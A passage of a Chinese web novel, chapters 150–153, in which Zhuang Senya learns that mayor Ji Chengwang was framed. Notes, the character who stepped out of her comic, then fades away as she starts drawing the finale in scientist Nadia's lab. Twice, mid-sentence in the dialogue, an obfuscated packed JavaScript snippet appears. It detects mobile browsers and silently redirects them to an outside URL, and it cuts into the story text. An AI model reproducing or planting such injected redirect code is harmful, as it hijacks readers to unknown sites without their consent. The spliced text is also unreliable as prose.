这个意思是说,在机承望担任上茂市市长的期间,他们很有可能就认识? 也就是说,在那期间,他们大概率会相互照应。 而机承望离开上茂市之后,这条互相帮衬的链路就断了。 现在回想起来的话,爸妈的光曙公司刚开始走下坡路的时间点,好像正好也是在两年之前…… “森芽,菜看好了吗?”祁欢突然问她。 老妈的声音让她猛然回神,啪一下子合上菜单,就像在试图藏起自己的思绪,“看好了。” “吃什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853890|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟服务员说。” “呃……” 看好个鬼,她连第一页上有什么菜品都忘了。 “我们要海鲜粥和柠檬鸡,再加一个什锦饭盒。”诺特斯似乎看出了她的窘境,顺其自然包揽了她的那份。 庄森芽对此倒是没什么意见,她属于菜不难吃就吃什么都行的那种。 “饮品就椰奶和可乐吧,要大瓶的。”诺特斯把她手里的菜单接过来,递给一旁等候的服务生,而后对在座的众人说,“各位都喝酒吗?” “我不喝,等下还要开车。”庄洪成看向机承望,“机子,你要是想喝,就让你嫂子陪你。” “别拉上我,我也不喝,毁身材。”祁欢一脸嫌弃。 机承望转头向年轻人征求地说:“诺特斯陪我来几杯?” “可以。”他从善如流,“啤的还是红的?” “我喝白的,你随意。”市长颇为潇洒。 诺特斯风度翩翩笑起来,“那都来白的吧,不然怎么能说得上是陪酒呢。” 他话音落下,头往一侧转动,磁性的嗓音落下来,“你呢?” 被搭话的人不明所以,“我什么?” “你想来点吗?” 庄森芽这才明白过来是指喝酒,她反应慢了半拍,因为从前都没有人问过自己这样的问题。 “对啊,咱闺女都成年了,我老是转不过这个弯来,还当她是小孩呢。”庄洪成像是被诺特斯的问话点醒,模样兴冲冲的,“闺女我跟你说,酒可是个好东西,能唔噗——” 话没说完,就被一旁的祁欢用一记肘击制止了。 “你劝别人喝酒也就罢了,劝到咱宝贝头上来了,还想不想好?”祁欢难得显露出霸道的气势,似乎在这件事情上不容置疑。 “可是小诺不也在劝——” “人家只是问问,问问懂吗?” “对不起老婆,我就是嘴快……” “嘴快?意思就是其实你心里也是这么想的,只是嘴上没个把门的呗?”她气势汹汹。 “没有,我不是这个意思……”庄洪成一身腱子肉,挺大个人,此刻也只能佝偻着腰背规规矩矩坐在自己的座位上,像是个认错的小孩。 “芽芽你不准听你爸胡说,酒这东西咱们不碰,啊,没什么好的,喝酒你还不如喝点咖啡红茶。” “知道了妈,我不喝。”她连忙答应。 给爸留点面子吧…… 这时候,身边突然传来了轻笑,庄森芽困惑地看过去,只见诺特斯笑得别有深意。 “原来打人的习惯是遗传的。”他用只有两人才能听见的声音说。 庄森芽听了,瞪了他一眼,又想上手,但转念控制住了自己。 不能做暴力狂不能做暴力狂……她如此催眠。 迫使自己冷静下来,闭眼深吸,她要证明诺特斯的话毫无根据。 不过,话又说回来…… 打他又怎么了?被打的人才应该反思一下自己是不是有什么问题。 就应该让老妈也连诺特斯一起教训。 150. 交易 这家饭厅上菜还算比较快,没过一阵,桌子上就摆满了各色菜肴。 几人也没客气,不约而同都动了筷。 “说来,最近公司情况怎么样了?”机承望问。 “唉,还能坚持吧。”庄洪成的模样不太乐观。 一旁,祁欢脸上出现了愤愤不平的神色,“那真搞不懂那家人是怎么想的,我们又不是什么谋财害命的公司,我们是在治病救人啊,治病救人!不给颁发奖状也就算了,居然还那么打压我们,我看这些人的心是坏透了。” 一聊到这件事情,祁欢仿佛就完全变了个人,有数不清的怒火窝在心中无处发泄。 “裴正还是在原材料钑的供应上不肯松口吗?”机承望问。 庄洪成无奈地摇了摇头,“他现在跟那个张简栾关系好,仗着上茂市市长这个靠山胡作非为,也没人管得了他。” “看来在我离开之后,简栾还是肆无忌惮地嚣张起来了啊。”机承望模样有些感慨,同时语气有些自责,“这也怪我,食品安全事件要是能处理得再妥当一些,也就不至于被撤职。我在西川市,手伸不到上茂市来,一直帮不上你们什么忙。” “这话说的,你哪有什么错。”庄洪成摊开手,十分大度地说,“真要怪,只能怪天意,那种倒霉事,落在谁身上谁都得受着。” 机承望给自己倒酒,盯着透明的液体,他若有所思。 “……不是天意。” “啥?”庄洪成似是没听清。 西川市的市长抬起眼来,里面的光是炽热的,就像是看破了什么旷日持久的阴霾,在为什么事情的昭雪而跃跃欲试,“大洪,我这次回来,不光是为了给家母看病。” “那还为了什么?”庄洪成单纯地问,问完就像反应过来什么似的,眯起眼睛笑起来,“哦,来见我,是不是?” 机承望也笑了,“过一阵子你就知道了。” 他说完,端起自己的酒杯,朝斜侧方的座位举杯。 而在他举杯的方向上,诺特斯就在那里坐着。后者也举起盈着白酒的杯盏,默契而无言地隔空碰杯。 机承望盯着他,虽然一句话都没说,但眼神却似乎传递了很多。 庄森芽在一旁狐疑地观察着这两个人。 果然有猫腻。 她故技重施,给诺特斯的手机发消息:「你跟西川市的市长到底有什么交易?」 诺特斯将白酒一饮而尽,就像知道导致自己手机嗡动的人就在身旁,于是略微侧过身来,在她耳旁留下一句:“回家再说。” 又在拖延! 刚才介绍机承望过去的事迹的时候那么痛快,怎么到了背后的勾当上时,就开始支支吾吾起来了? 然而诺特斯的嘴封得像是上了锁一样严实,整顿饭局她都没有问出个所以然来。 吃完了饭,两拨人踏上了归家的路。 机承望订了个高档酒店,说近期都会待在上茂市。 两辆车先是把隔壁市长送到酒店,又把剩下的人送回了公寓。 回到家,庄森芽洗漱一番,和爸妈道了晚安,而后迫不及待地拉着诺特斯进了自己的房间。 老两口冲着女儿的房门小声嘟囔着,脸上是好奇的神色。 庄森芽隐约听到了夫妻俩的嘀咕,然而来不及解释了,她现在、立刻、马上就要弄懂这些到底都是怎么回事。 “说吧。”她坐在床边上,翘起了二郎腿,一副审讯犯人的架势。 诺特斯慢悠悠关好门,慢悠悠晃过来,又慢悠悠坐在那个熟悉的转椅上,每次来到庄森芽卧室的时候,那都是他的专属座位。 “这是什么?”诺特斯没有回答她的问题,目光落在桌子上的一张小卡片上,他将它捏起来,发出疑问。 庄森芽扫了眼他手里的东西,那是从联谊会带回来的贴纸,上面用花体写着‘最想交往’四个大字,因为暂时不想扔掉,所以就放在桌子上了。 “别岔开话题。”她说。 然而诺特斯不依不饶,把玩着那张贴纸,“你相亲去了?” 有病吧,谁家好人十八岁就出去相亲啊! 而且到底是怎么从一张贴纸联想到那方面上去的? “你别太离谱行吗。” “说吧,又背着我干什么了?”他把贴纸放在桌面上,用指尖轻轻点了点,语气无奈,像把她当成了什么惯犯一样,甚至还轻叹了一声,故作玄虚。 局势一转,现在仿佛变成他在审问她了。 庄森芽感觉自己太阳穴上的青筋在跳。 演,你就演吧。 她扬起高傲的头颅,“我去参加联谊了,还认识了许多不错的男生,这下你满意了吧。” “这贴纸是用来做什么的?”他没完没了地问。 “喜欢谁送给谁,主办方给我发了十几张,我都送出去了。”她开始胡编乱造。 “噢——”诺特斯了然地扬眉,“你还带回来了一张,这个意思是还有要送的人?” “没有了。”庄森芽将那张贴纸抓起来,丢进空无一物的垃圾桶里,“多出来一张,只是忘了扔。” “看不出来你还挺博爱的,所以有几个能继续发展?” 越说越离谱了,她简直想堵住他满口胡诌的嘴巴,可惜贴纸已经扔进了垃圾桶里,不然她非得用它把他的嘴封上。 “你到底能不能说正事。”她又拿起先前审问的气势,“从我回家到现在好几个小时过去了,你连一句解释都没有。” “好吧,我正要说呢。”诺特斯靠在转椅的靠背上,模样悠然,“这件事很复杂,你可要认真听,不要漏掉一个字唷。” “快点吧。”她催促道,原本不认为自己是个急性子,硬生生都要被对方逼出来了。 “一周之前,你派我去监视裴家人,我在跟踪的同时得到了一些意料之外的收获。”诺特斯从桌面上的笔筒里挑出来几支铅笔,将它们摆在桌面上,“这是裴佑哲和他的父亲裴正,而众所周知,他们背后的靠山是当今市长张简栾。” 三只绿皮的铅笔躺在左侧,示意他们是同一阵线上的人。 “张简栾是两年之前就任的,和你们家光曙公司开始出现财务问题的时间点很接近,我觉得这个时间点背后大概有什么文章,就去深入调查了一下。”他又拿出一支铅笔,摆在右侧,代表一个与左侧完全对立的人物,“而后,机承望这个人名就出现在了我的眼 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对方态度诚恳,她那点不满一瞬间就消失了,注意力集中在刚才那番话上,“什么意思,还有暗面?” 诺特斯眯起眼睛,狭长的双眼中是精明的光,“不觉得很奇怪吗,机承望这样一个关心民生、大力发展理疗行业的人,怎么会在最重视的食品监管上出现问题?” 庄森芽觉得很有道理,摸着自己的下巴沉思半晌,“……难道是有人陷害他?” “他卸任了,谁的好处最大?” “当然是下任市长,张简栾。” 诺特斯添道:“以及在张简栾的庇荫下乘凉的所有人,其中也包括腾滨集团的董事长裴正。” “可是,这只是个猜测……”她不怎么确信地说。 诺特斯盯着她,笑而不语。 看着对方的表情,庄森芽顿了顿,问:“不是个猜测?” “一开始是。”他说,眼里有种胜券在握的冷漠,“后来就不是了。” 听他的意思,庄森芽明白过来什么,她问:“你调查出来什么了?” “万事万物都会留下痕迹,越是想要遮掩就越难消弭。”他用手轻轻擦去铅笔在桌面上留下的碎屑,然而铅末还是卡在崎岖的缝隙之间,留下灰色的纹路,“我找到了一些证据,能证明当年食品安全事件是一起蓄意的栽赃,但为了更有说服力、不给对方任何反扑的机会,还需要一个关键证人。” 说着,他胸前的绿色晶体微微发光,那抹在他指尖的铅笔灰剥离下来,缓缓飘进了垃圾桶里。 “翻身仗打完之后,机承望就能回到上茂市,“他笑着对她说,“你家公司的问题也就迎刃而解了。” 兜兜转转,转回了最核心的问题上。 她原本还想着向父母多打听一些腾滨集团的情况,搜罗一些收据或者合同一类的证据,然后向大众揭发他们垄断资源的恶行。 却没想到诺特斯已经快了她好几步,居然找到了最根本的肿瘤所在,并且已经在计划将其连根拔除了。 虽然她已经说了很多遍这种话,但不妨碍现在再说一遍。 这个人但凡听话,就好用到过分。 151. 黑天鹅 就在此刻,一种敬佩之情违背本人的意愿油然而生,她觉察到了,立刻把它强行压下去。 双臂抱在胸前,她用一句调侃掩饰真实的心情,“诺特斯,你不当特工真是可惜了。” “我才不爱做这些偷鸡摸狗的事。”他不屑地扬扬手,“以前潜入民宅的目的都是为了割断某人的脖子,而不是夜半三更在别人的电脑上查资料。” ……什么危险发言。 她瘪瘪嘴,“那还真是委屈你了啊。” “是啊,是很委屈,也就只有你会指示一个让人闻风丧胆的反派做这种事。”他说,朝她靠近了些,“所以,我有什么补偿吗?” 庄森芽移开视线,说不出反驳的话。 自己好歹也是个有良心的人,诺特斯跑前跑后帮了这么大的忙,她做不到狼心狗肺当成理所当然。 “你想要什么补偿?”她问。 “我想要的可能会吓到你。”他声音缓缓放轻了,像在耳旁絮语,“所以……还是按照你的心意来吧。” 两人越靠越近,气氛有些暧昧。 终于忍受不了过近的距离,庄森芽一把推开他的脸。 “唔。” “我,今晚,画漫画。”她一字一顿地说,声音听起来干巴巴的。 诺特斯没有摘掉她的两只手,他的眼睛和嘴巴都被捂住了,困惑的声音从下方传来,“呃……漫画?” “我要把大结局画完。”她生硬地宣布。 “这样啊……也好,早点画完是好事,控制一下发布时间,和揭露当年食品安全事件真相的行动凑在一起,能给裴正和张简栾那边不小的舆论压力……”他一开始开缜密地安排着,然而声音渐渐有点委屈,“但是,这和给我的补偿有什么关系?” “怎么没有关系。” 诺特斯似乎不太不甘心,“这不是早就约定好的——” “不一样。”庄森芽斩钉截铁地否认。 手掌下乱动的睫毛让手心有些痒,她不由得松开了,诺特斯因重见光明而略显迷茫的眼睛露了出来,看着像破碎的金色湖面。 鬼使神差地,她捏住他的脸颊。 “你不是一直想要一个好结局吗,诺特斯?” “是这样……没错……”她的举动似乎让他有些意外,连反应都迟钝了。 “上一话发布出去之后,尤梭的罪行已经众人皆知。现在,也该轮到为某些人昭雪的时候了。” 男人安静地盯着她,等待她接下来的话语。 “也许你不在乎你的名声。”她说着,声音变小了几许,“……但我在乎。” 诺特斯顿了顿,目光有些颤动,张口,似乎是想要说些什么,但庄森芽又捂住了他的嘴。 “先听我说完。”她垂着视线,不敢去看那片闪烁着的湖泊,怕湖面波动,也将她拖进再难逃脱的漩涡,“我要让人们知道你都付出了些什么,我要让所有人知道——包括这个世界和那个世界的人——你不是那么无可救药的暴君。” 话音落下,诺特斯反复看着她的一双眼睛,仿佛在确认着一些什么。 这一刻,空气是沉寂的,而沉寂之中,又有什么在隐蔽处无声地滋长。 “诺特斯,带着赞歌回来见我吧。” 话刚刚说完,下一刻,她就被紧紧地拥住了。 这个怀抱是如此之紧,两只手张开,牢牢地兜在她的背后,布料都揉皱了,仿佛要将整个人吞噬。 她没推开,不如说也没办法推开,手臂夹在两人的胸膛之间,连方寸都难以移动。 那段话,他们都明白是什么意思。 大结局即将到来,而有些一直索取却未能被满足的,有些一直审视却不敢下定决心的,在这一刻都不再有任何的含糊其辞。 她给出了承诺,应允了他一直以来想要的。 诺特斯的头靠在她的颈窝,发尾的卷发有些凌乱,就同他本人当下的气息一样。 “……你是知道怎么逼疯我的。”他的声音听起来没什么波澜,却是在压制着巨大的暗涛。 渐渐地,心跳声愈发明显,他的,她的。 手臂垫在两颗心之间,庄森芽已经有些分不清究竟是谁的在跳了。 “所以……”她试图找回一些理智,逐字逐句缓慢地说,“接下来一段时间……你会消失,但这是最后一次了。” “……” “我会尽量画得快一些,这样,你也能早些回来,不至于耽搁你后面去找证人什么的……” 诺特斯深吸了一口气,而后又缓缓吐出来,像是在平复些什么。 半晌,他松开了这个怀抱,但没有太远,不至于远到看不清彼此眼中的情绪。 “结局,你大概要画多久?”他问,声音有些低哑。 “两天的时间。” “两个白天?” “白天加黑夜。” 他垂眸,沉思片刻,表情有些凝重,“我带你去个地方,你去那里吧,会有人能照顾你。” “什么地方?” “记得我和你提过的那个科学家吗,”他说,“就去她那里。” 庄森芽当然记得这个人。 某段时间里,在她还想把这尊从漫画里蹦出来的大佛塞回去的时候,曾一度想要从诺特斯的口中打探这个人的信息,因为据他所说,这个科学家是最了解他是如何来到这个世界上的人。 见对方是一副严肃的表情,想要消解这份沉重,于是她打趣说:“怎么,是想让她监督我吗?害怕我不信守承诺?” 然而,这一次,诺特斯却似乎没有领悟到她的玩笑,表情还是十足凝重,“不……让你去她那里是因为,她是在这方面前沿领域的科学家,有这个人在的话,成功的几率会高一些。” “什么几率?” “结局之后,我还能回来的几率。” 听到这个回答,庄森芽眨了眨眼。 啪嗒,像有一颗硕大的雨点砸在心上,让她有些发愣。 “你……不是一定能回来?” 他摇头,连眼神也暗淡,“不是。” 她张张嘴,盯着对方,想要从他眼中看出半点玩笑的意味,但是无功而返。 诺特斯:“是有概率的。” “……概率有多少?” “百分之五十。” 雨开始下大了。她感受到寒意。 “那你……”有些无法控制地,声音开 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连手带纸拍在对方的胸口,那写着‘最想交往’的鲜艳纸张皱皱巴巴黏在了他暗色的马甲上。 她抓着他的衣服,昂贵的面料在指尖下皱起了一折又一折。 “你是笨蛋吗?诺特斯。”对方的面容有些模糊了,她紧咬着牙根,然而却无法阻止清晰的视觉离自己远去,“为什么现在才说,为什么现在才告诉我?” “对不起。”他握住她颤抖的那只手,用另一只蹭去眼窝里打转的泪滴,“对不起,我不应该提的。” “问题是不该提这件事吗。”情绪开始有些控制不住,她控诉着,“问题是你骗我——” 接下来的话她没能说下去,一个突如其来的吻封住了声音。 庄森芽推了一下,但宽厚的肩膀纹丝不动,她只好一拳砸在那上面,以来发泄溃堤的感情。 这是他们第三次接吻。 如果说引发前两次的原因之一是色欲的话,这次则完全不同。 它不带其它的杂质,更多是安抚的意味。 还有一些混乱的、难以捉摸的情绪。 少倾过去,诺特斯松开的时候,她的肩膀还在耸动。 于是男人把女人抱进怀里,让垂落的脑袋靠在自己的胸前。 “你不许把我一个人丢下。”庄森芽攀着他的肩,依偎在温热的胸膛,鼻尖萦绕着熟悉的气味,可这些却让她更难过了,“你还有很多承诺的事情没做,要是敢不回来,我就……我就……” 她‘我就’了半天,也没说出个所以然来。 诺特斯要是真的不回来,她还能怎么办呢。 届时,漫画已然终结,彼此间的联系也已经断开,她连他的声音都再也听不到了,叫他的名字也不会有任何回应,就算想要讨个说法,也无计可施。 “我知道,我会回来的。”他搂紧了一些,像永远不打算再放开,低下头去,黑色的发和她白色的发丝交织在一起,缠绕着,又像永远不打算分离。他重复着,“我会回来的。” 这一晚,没有人从卧室里出来。 月亮在黑幕上起舞,又在黎明到来前翩然离席。 152. 前人的话不能不听 ## 清早,庄森芽照常去洗手间洗漱。 时间略早,声响吵醒了主卧的父母。 脚步声临近,她赶忙扑了一把水在脸上,低头,假装在认真地清洗,以来掩盖肿胀的双眼。 哭了大半夜什么的……说出来丢人。 何必呢。她直想问昨天的自己。 可也不知道是怎么了,或许是深夜的错,人到了夜晚就是会变得感性。 也可能是那个男人的错,在他身边的时候,她情绪的起伏总是轰轰烈烈。 眼泪花了几个小时才流干,就像在挤海绵,以为没有水了,可放着不管一阵子,又淅淅沥沥流下泪来。 她光想着可能失败的那百分之五十,但是第二天清醒过来,转念一想,成功的几率不还有百分之五十吗? 而且,诺特斯说了,有那个科学家在,概率还能提高。 现在就垂头丧气未免有点太早了。 “芽芽,今天回学校吗?”祁欢在隔壁的洗手台前站立,睡眼惺忪,拿起一根牙刷往上面挤牙膏。 “嗯,回。”她简单地应答着。 其实不回,而是要和诺特斯去他口中那个科学家所在的地方。 不过,这件事爸妈就没有必要知道了。 有关诺特斯和漫画的一切,或许等一切都安定下来,时机合适了,她再一五一十地告诉他们吧。 “那个,宝贝……”祁欢的声音突然有些犹豫,俯身下来,“有些话我想对你说。” 庄森芽好奇这是怎么了,怎么突然有些严肃了起来,是有什么重要的事情要讲? 但她现在抬不起头来,抬头就会被发现肿得像猪一样的两只眼睛,于是只好继续低头洗脸,佯装随意地问:“怎么了吗?” “就是,妈以前没太教你这方面的知识,但你要注意啊……” “?” “我理解年轻人精力旺盛,爱情来了谁也挡不住嘛哈哈,但你一定要注意自己的身体啊,妈不是不喜欢家里新添成员,只是怕你冲动断送了无忧无虑毫无牵挂的青春——” “妈!”她出声打断了她,唰一下子抬头,震惊地盯着镜子里自己的老妈,也顾不得被人看见脸上的惨状了。 这都什么跟什么啊! “你都想到哪里去了?”她感觉自己的脸颊有点燥热,为一些未曾发生过的事情而害羞,“别乱说啊。” “好的,好的,我不说了。”祁欢把牙刷塞进嘴里,边刷着牙,边逃似的离开了洗手间,“我知道你有分寸的。” 什么分寸不分寸……她和诺特斯之间什么都没发生! 囫囵地洗漱一番,庄森芽回到自己的卧室。 清晨的光束洒进室内,一个人影沐浴在那光亮之下,一手拄着脸颊,一手翻动着手机。 看到她回来了,诺特斯熄灭屏幕,说道:“我已经联系好了纳迪娅,就是那个首席科学家,我们随时都可以去她那里……你脸怎么红了?” 庄森芽胡乱地抹了一把自己的脸,一头扎进衣柜里翻衣服,声音闷闷从中传来,“没什么。” 身后响起了脚步声,一个身影从背后接近,温暖地贴上来,她感受到两只手臂圈在自己的身前。 “还在难过吗?” “没有。”她心不在焉地翻找着保暖上衣,刻意忽视两人现在的姿势,把原本规整的衣服都弄乱了。 诺特斯的声音在耳畔传来,放缓的音色宛如大提琴一般,“就算不相信我,也相信纳迪娅吧,她会做到她承诺过的事情。” 庄森芽转过身来,与他面对面。 昨夜过去,似乎有什么变了,这般亲昵的动作是她曾经一定要挣扎一番的,可是现在却是不想。 大抵什么患得患失的心理在作祟。 “我没有不相信你。”她别扭地说。 诺特斯浅笑着,“好,那收拾好了我们就出发。” 用过了早餐,与爸妈道别之后,庄森芽带上自己的绘画工具,与诺特斯一起乘车前往目标点。 目的地在市中心,一片繁华的科技园区,之所以称之为繁华,是因为玻璃大楼无处不见,它们像森林一样林立。站在十字路口,放眼望去,会觉得仿佛身处什么通往未来的大道之上。 “真壮观啊……”下了车,庄森芽不由得感叹。 他们面前是一栋玻璃大厦,看起来有二十层高,建筑的边缘是圆滑的,用了特殊的工艺,整栋楼可以用端庄漂亮来形容。 进了大厦,和前台说明了来意。工作人员确认之后,带他们前往电梯,按下了通往二十层的数字键。 一路观察过来,庄森芽发现这里的安保特别的严格,这栋大厦似乎不是什么普通的办公场所,门禁一级接着又一级,仿佛深处隐藏着什么不可告人的秘密。 电梯是几乎是无声的,速度也很快,眨眼就带他们来到了二十层。 电梯门甫一打开,映入眼帘的就是一条明亮的长廊,长廊是呈圆弧形的,看起来应该是在二十层绕了一整圈,长廊一侧是玻璃,可以看到高层外的景色,另一侧则每隔一段距离开着一扇紧闭的门。 接待的工作人员离开后,诺特斯带着她来到编号2020的房间门口。 这道门是金属制成的,看起来很厚重,上面没有窗户。墙边有一个密码锁,旁边是通讯设备,诺特斯按下了一个红色的按钮,紧接着,内部似乎有铃声响起来。 又过了半晌,一股喷气的声音从门缝间传来,这居然是个气闸门。 在一片白雾之中,两人踏了进去,门在他们身后闭合。 对于这个房间,庄森芽的第一印象是,冷。 第二印象是,它很开阔。 中央有一个透明玻璃围拢而成的圆形空间,圆柱内有一把复杂的椅子,之所以称它复杂,是因为有许多电线连在上面,还有一个接满了导管的头盔架空在上方。 旁边是一个巨大的操作台,光是屏幕就有七八个,上面分别闪烁着不同的画面。 操作台前有两个人影,一男一女。女人坐在座椅上,对一旁站着的男人正在说些什么,看到进入房间的两人,她朝他们打招呼,“来了啊。” “纳迪娅,我把她带过来了。”诺特斯对那个女人说。 走到近前,庄森芽看清了操作台前的这两个人。 女人身穿白色的实验大褂,年龄大概三十出头,有着一头浅褐色的头发,看起来应该是天生,而非后染的,绿色的眼睛像是宝石一样,转动视线的时候,眼珠是带有一些跳跃性的。 而另一旁的男人则有着一头干净利落的乌黑短发,眉眼凌厉,但目光平和,模样看起来有四十多岁,却没有中年人发福的迹象,他的着装则随意许多,手里端着一杯热气腾腾的茶水,看起来很重视养生。 “你好。”纳迪娅起身迎上前来,和庄森芽握了握手,“早就听诺特斯提到你,今天终于见到了。” 这褐发的女人长得很高,看起来快有一米八了,庄森芽只能仰着脖子看她。 “你好。”她回应道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859644|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “诺特斯已经把情况都向我说明了,接下来就交给我吧。”纳迪娅露出一个稳重的笑容,那使她看起来值得信赖,“跟我来。” 她朝房间中心的透明圆柱走去,示意庄森芽跟上来。 庄森芽困惑地看了诺特斯一眼,后者向她点了点头,表示按她说的做就好。 于是她跟了上去,走进了那透明的圆柱空间之中。 纳迪娅在一旁的仪表盘上调整着参数,一边对庄森芽说:“接下来的两天你就待在这里,坐在这把椅子上,食物和水我会给你送来,上厕所的时间不宜超过十分钟,还有什么其他的需要的话随时叫我。” 听她说这些,庄森芽不禁感到迷茫。 为什么听着好像要上实验台了一样……她只是想把漫画的结局画完,需要在这么复杂严苛的环境中吗?还非要坐在这把连着许多导管的椅子上才行…… “那个,我能问问这是……?” 似乎看出了她的犹豫,纳迪娅解释说:“这把椅子上连接着能够使人精神稳定的仪器,你坐上去之后,它能帮助你将脑海里的想法稳固,减少波动的影响。” 听到这里,庄森芽明白过来了什么。 诺特斯说过,他如果想要留在这个世界上,有一个至关重要的条件—— 那就是她这么希望。 “你的意识决定了还能不能再见到他。”纳迪娅双手搭在庄森芽的肩膀,让她坐上那把椅子,将那接满了导管的金属头盔罩在她的头顶上,调节着上方的旋钮,“这听起来有点不实际,但它的确就是这么运作的。” 庄森芽老老实实任对方摆弄自己,心里觉得有些奇特,仿佛感受到神秘学和科学紧密地结合在了一起。 从诺特斯出现在这个世界上开始,她对发生的事情唯一的理解方式就是,这是什么超自然现象,无法用常理说明。 现在却有人告诉她,科学可以解释。 不知为何,与这两个字搭上边之后,莫名多了一些确信感,就仿佛一切有迹可循,不是那么虚无缥缈。 纳迪娅从旁边拽来一张洁白的桌子,这个四角桌看起来普普通通,似乎单纯是为了方便她作画。 庄森芽从斜挎包里取出了笔记本和绘画版,将它们平铺在四四方方的桌面上。 “我什么时候开始?”她问。 “随时。”纳迪娅单手掐腰,往后退了两步,似乎已经准备好了一切,“只要你没什么话要对他说的话。” 话音落下的时候,一个人影出现在了透明墙壁的外面。 诺特斯站在与她一墙之隔的地方,目光注视着她,眼中是复杂的情绪,其中有着不舍。 可他隐藏得很巧妙,转瞬便将那些情绪掩盖起来,只露给她一个令人安心的笑容。 “放心吧,我会回来的。”他说。 直至此刻,庄森芽才意识到,这有可能是一场永恒的离别。 结局只有两个,且没有挽回的余地。 它不像分手,还有机会在爱与不爱之间纠缠,像天下大势一样分分又合合。 它更像是一枚投入熔岩的硬币,正面就是正面,反面就是反面,结果永远烙印进了滚烫的岩浆之中,再无法更改。 想到这里,她推开面前的桌子,矮身从头盔和座椅的缝隙间钻了出来,朝诺特斯跑过去。 人们常说,想知道一个东西重不重要,那就尝试失去它。 她踩着前辈的谏言,扑进了那个人的怀里。 现在她知道了。 153. 参天之树 “我在这里等你。”她埋在他的胸口,说。 男人的脊背是微微弯曲的,双臂挂在她的身上,头低垂着,像是受了重伤,“……嗯。” “你不回来的我就一直在这里等你。” “我一定回来。”他做出承诺。 深吸了一口气,就仿佛要记住对方的气息。 下一刻,她推开他,毅然决然离开那个怀抱。 温暖骤然离去,就像跳进寒冬的河流。 坐回那绘画的圣殿,纳迪娅再度帮她把头盔戴好。 绘画软件已经打开待命,画板接通了电源,她抓住伴随自己已久的画笔,笔尖距离空白的电子屏只有一毫米。 她抬起目光,紧紧盯着那个男人。 即便这个场景有可能在将来成为她的梦魇,在无尽的深夜使人反复品尝苦涩的滋味,她还是选择要去记住这一刻。 人就是由这样一片片记忆碎片拼凑起来的相册,欢快的、怀念的、欣喜的、悲痛的,放弃这些才叫残缺。 笔尖落下去,她第一次亲眼看到了变化。 先是颜色的淡去,仿佛光束径直从躯体穿过,不再有任何的光线被反射;而后他开始变得透明,就像灵魂在取代身躯,连物质也在空气质消解。 最终他不见了,消失得一干二净,就像从未存在过。 愣愣地注视着那片虚空,半晌,庄森芽猛地低下头去。握着画笔的那只手在颤抖,于是她用另一只手去控制。 ……得继续画下去才行,已经决定了要在今明两天画完,也已经来到了这个为最后一刻而准备的地方,不能半途而废。 可是…… 如果现在停下的话——现在还有机会停下来。 只要她不去画这个结局,诺特斯就还能回来,像以前一样。 为什么她非要去画这个结局不可呢? 是啊,为什么呢? 屏幕上是一条粗糙的走廊,它是崭新的,宛若刚刚铺成。 然而良久过去,屏幕上还是只有这么一条走廊而已。 “……我想问一个问题。”庄森芽盯着带有些许磨痕的画板,发出的声音很轻。 一旁的纳迪娅听到了,问她,“什么?” “如果我,停在这里的话。“她低着头说,“永远也不去画这个结局,会怎么样?” 纳迪娅自然而然坐在了桌子上,或许是因为这周围没有椅子。她点了根电子烟,夹在做了艳红色美甲的两指之间。 她看上去不太像个科学家,起码不是刻板印象里的那种。 “你想要诺特斯留下来,我理解你的心情。”烟雾在她的眼前缭绕,“但你的想法是行不通的,小姑娘。” “为什么?”她抬头问,“为什么行不通?” 诺特斯说结局之后自己有可能回不来,那不去画这个结局不就好了吗?只要让故事停在这一刻,问题就解决了。只要能让他回来,一部漫画烂尾了太监了又能怎么样。 只要他能回来,她这一生的作品全都有头没尾也无所谓。 纳迪娅深吸了一口气,凝视着庄森芽,一时没回答。 这时候,那个一直在外围站着的黑发男人走上了前来,他靠在玻璃墙的门旁,手里还端着那杯冒着热气的茶,音色是没什么波澜的,“你每次动笔的时候,另一个世界的时间才会开始流转。” 他讲述起了一些不为人知的事情,那是有关这场‘意外’背后的一切规律与法则。 “诺特斯只有在时间停滞的时候,才能出现在我们所在的时空。”他平静地叙述着,虽然音色听起来有些空泛,但话语的内容却并不如此,“然而,停滞并非是没有代价的。那个世界渴望着运转,极度想要冲破束缚——你的束缚。混乱会在沉寂中堆积,熵增的趋势无法避免,甚至会愈演愈烈。最终只有两个结果,要么像超新星爆发一样化为尘埃,连同那其中的一切人事物都一起归于死寂;要么彻底挣脱造物主的枷锁,隐匿于无法被追溯的漫漫宇宙中去,但同时也会一并带走属于它的每一部分。” 庄森芽皱着眉,试图理解对方说的每一句话。 纳迪娅在桌角磕了磕那只电子烟,但并没有烟屑落下来,她咕哝了一声,似乎意识到自己行为的不必要。 “总而言之,他的意思是,你要是现在就停笔了,时间拖得太长,到达了某个临界点,会发生一些不太好的事。”又将烟嘴含进嘴中,她有些含糊地说,“但无论哪种,诺特斯最终都会消失的吧。” 庄森芽听了,有些失望地垂下头去,“……意思是,想要他真正留下来,我还是要继续画下去,画完结局。” 阴影笼罩下来,纳迪娅弯下身,按住了她的肩膀,用力晃了晃。 碧色的眼中,她传达出令人安心的讯息。 “相信我,小姑娘,我首席的名号可不是虚有其表。”她摸摸她柔软的白发,说道,“你只需要拼尽全力祈祷他的归来,剩下的事情就交给我。” 庄森芽注视着她的双眼,渐渐地,一股能够稳定人心的力量传递过来。她回答说:“好。” 